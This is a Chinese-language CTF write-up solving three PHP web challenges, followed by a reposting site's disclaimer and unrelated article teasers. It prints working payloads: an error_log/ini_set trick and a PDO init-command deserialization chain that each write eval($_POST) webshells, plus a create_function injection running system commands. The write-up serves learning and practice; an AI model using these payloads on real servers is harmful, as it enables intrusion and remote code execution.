[CTFshow 红包挑战] 刷题记录

文章目录

    • 红包挑战7
    • 红包挑战8
    • 红包挑战9


红包挑战7

考点:xdebug拓展

源码

 <?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

分析一下
error_reporting(2);这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤

我们简单测试下,发现flag的位置
在这里插入图片描述那么我们的问题就是如何读取

思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本题的路径为/usr/local/lib/php/extensions
在这里插入图片描述读取一下,发现存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在这里插入图片描述结合本题特殊的error_reporting(2),翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在这里插入图片描述访问/hack.php,然后再修改命令即可

在这里插入图片描述

红包挑战8

考点:create_function注入

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下

?name=){}system('tac /flag');//

在这里插入图片描述

红包挑战9

考点:session反序列化

题目是给了附件的

我们先看common.php

<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打码'username' => '****',//敏感信息打码'password' => '****',//敏感信息打码'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('数据库连接失败:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}

不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码

public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值

我们访问main.php,发现存在调用getLoginName()

<?php$name =  $app->getLoginName('user');if($name){echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{include 'login.html';
}

而要想访问main.php调用此方法就要继续看到index.php

<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登录失败";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break;    case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注册成功,请登陆");}else{echo "注册失败";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}

可以发现启用session_start();(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可

思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类

class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}

verify()首先用|将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化

cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);,我们可以将注册的用户名添加一个|,然后拼接的时候就会出现两个|,也就是数量为3实现返回null

注册用户名rev1ve|666,登录得到cookie
在这里插入图片描述然后我们简单构造字符串

<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我们可以访问log.txt看看(带上cookie),发现成功写入
在这里插入图片描述
那么我们getshell的方式就是写马

题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND

连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我们看向mysql_helper类,执行命令如下

public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法

private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}

往下看,发现debug的值为True才行

public function __destruct(){if($this->debug){$this->log_last_user();}
}

exp如下

<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接随便抓包一个界面,修改cookie为我们注册rev1ve|666的,添加payload
在这里插入图片描述
然后成功访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/214315.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P2 Qt Creator创建第一个Qt程序

前言 &#x1f3ac; 个人主页&#xff1a;ChenPi &#x1f43b;推荐专栏1: 《C_ChenPi的博客-CSDN博客》✨✨✨ &#x1f525; 推荐专栏2: 《LLinux C应用编程&#xff08;概念类&#xff09;_ChenPi的博客-CSDN博客》✨✨✨ &#x1f33a;本篇简介 &#xff1a;这一章我们学…

简易加减运算器的制作----数字电路设计(含proteus仿真)

简易加减运算器的制作 一、功能要求—基本功能 1、自制0-9按键&#xff0c;在一个LED数码管上稳定地显示当前按下的值。&#xff08;基本功能&#xff09; 2、增加、两个按键&#xff0c;实现0-9两个一位数的加法运算&#xff0c;同时在两位LED上稳定地显示运算结果。&#…

C#大型LIS检验信息系统项目源码

LIS系统&#xff0c;一套医院检验科信息系统。它是以数据库为核心&#xff0c;将实验仪器与电脑连接成网&#xff0c;基础功能包括病人样本登录、实验数据存取、报告审核、打印分发等。除基础功能外&#xff0c;实验数据统计分析、质量控制管理、人员权限管理、试剂出入库等功能…

Java UDP 多人聊天室简易版

服务端 import java.io.*; import java.net.*; import java.util.ArrayList; public class Server{public static ServerSocket server_socket;public static ArrayList<Socket> socketListnew ArrayList<Socket>(); public static void main(String []args){try{…

实战演练 | 在 Navicat 中格式化日期和时间

Navicat 支持团队收到来自用户常问的一个问题是&#xff0c;如何将网格和表单视图中的日期和时间进行格式化。其实这个很简单。今天&#xff0c;我们将介绍在 Navicat Premium 中进行全局修改日期和时间格式的步骤。 如果你想边学边用&#xff0c;欢迎点击 这里 下载免费全功能…

EM32DX-C4【C#】站15

1外观: J301 直流 24V 电源输入 CAN0 CAN0 总线接口 CAN1 CAN1 总线接口 J201 IO 接线段子 S301-1、S301-2 输出口初始电平拨码设置 S301-3~S301-6 模块 CAN ID 站号拨码开关 S301-7 模块波特率拨码设置 S301-8 终端电阻选择开关 2DI: 公共端是: 0V【GND】 6100H …

基于ssm实验室开放管理系统论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本实验室开放管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信…

App备案、ios备案Bundle ID查询、公钥信息、SHA-1值

App备案、ios备案Bundle ID查询、公钥信息、SHA-1值 Bundle ID这个就不说了&#xff0c;都知道是啥&#xff0c;主要说公钥信息和SHA-1值的获取 打开钥匙串访问&#xff0c;找到当前需要备案App的dis证书&#xff0c;如下&#xff1a; #####右键点击显示简介 #####可以看…

Navicat 技术指引 | 适用于 GaussDB 分布式的调试器

Navicat Premium&#xff08;16.3.3 Windows 版或以上&#xff09;正式支持 GaussDB 分布式数据库。GaussDB 分布式模式更适合对系统可用性和数据处理能力要求较高的场景。Navicat 工具不仅提供可视化数据查看和编辑功能&#xff0c;还提供强大的高阶功能&#xff08;如模型、结…

[架构之路-261]:目标系统 - 设计方法 - 软件工程 - 软件设计 - 架构设计 - 网络数据交换格式

一、网络数据交换格式 1.1 什么是网络数据交换格式 网络数据交换格式指的是在计算机网络中传输和存储数据时所采用的特定格式。 它定义了数据的组织方式、结构和编码规则&#xff0c;以便不同系统和应用程序之间能够准确地解析和处理数据。 网络数据交换格式的主要目的是&a…

IDEA启动应用时报错:错误: 找不到或无法加载主类 @C:\Users\xxx\AppData\Local\Temp\idea_arg_filexxx

IDEA启动应用时报错&#xff0c;详细错误消息如下&#xff1a; C:\devel\jdk1.8.0_201\bin\java.exe -agentlib:jdwptransportdt_socket,address127.0.0.1:65267,suspendy,servern -XX:TieredStopAtLevel1 -noverify -Dspring.output.ansi.enabledalways -Dcom.sun.management…

安装python第三方库后,在pycharm中不能正常导入

python小白学习opencv&#xff0c;使用pip安装完opencv库后import cv2报错&#xff0c;按照如下设置解决&#xff1a; 需要正确设置python解释器路径

Linux权限理解

文章目录 前言概述Linux下的权限Linux权限管理文件访问者的分类&#xff1a;属性&#xff1a;文件权限值表示方法&#xff1a; 文件类型&#xff1a; 权限的修改chmod对 text.txt 文件的权限进行修改法1&#xff1a;法2&#xff1a; chownchgrpumaskfile指令目录权限粘滞位 前言…

SLAM教程:ROS学习

玩SLAM一定会遇到ROS,你可以看看稚晖君里的机器人操作系统,许多控制机器的软件代码很大程度都是基于ROS,多传感融合也是基于ROS,在GitHub上几乎大部分的多传感融合以及机器人操作代码框架都是基于ROS。ROS 的主要目标是为机器人研究和开发提供代码复用的支持。ROS是一个分布…

【附源码】完整版,Python+Selenium+Pytest+POM自动化测试框架封装

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、测试框架简介 …

Hadoop学习笔记(HDP)-Part.08 部署Ambari集群

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

Dockerfile 指令的最佳实践

这些建议旨在帮助您创建一个高效且可维护的Dockerfile。 一、FROM 尽可能使用当前的官方镜像作为镜像的基础。Docker推荐Alpine镜像&#xff0c;因为它受到严格控制&#xff0c;体积小&#xff08;目前不到6 MB&#xff09;&#xff0c;同时仍然是一个完整的Linux发行版。 FR…

Python开发运维:Python项目发布到K8S集群

目录 一、实验 1.Python项目发布到K8S集群 一、实验 1.Python项目发布到K8S集群 &#xff08;1&#xff09;获取应用程序代码 #把hello-python.tar.gz压缩包上传到k8s控制节点master1的root下&#xff0c;手动解压 tar zxvf hello-python.tar.gz &#xff08;2&#xff0…

Vue3+ts----根据配置项,动态生成表单

这里使用的UI框架是ElementPlus&#xff0c;更换其他组件直接更换constant.ts中的type配置和对应的Form组件即可. 大家可以npm install elementplus_dy_form来体验。 思路&#xff1a; 1.这里需要使用h函数方便控制要渲染的表单 2.传递type作为组件或html元素进行渲染&#xff…

rpc原理与应用

IPC和RPC&#xff1f; RPC 而RPC&#xff08;Remote Procedure Call&#xff09;&#xff0c;又叫做远程过程调用。它本身并不是一个具体的协议&#xff0c;而是一种调用方式。 gRPC 是 Google 最近公布的开源软件&#xff0c;基于最新的 HTTP2.0 协议&#xff0c;并支持常见…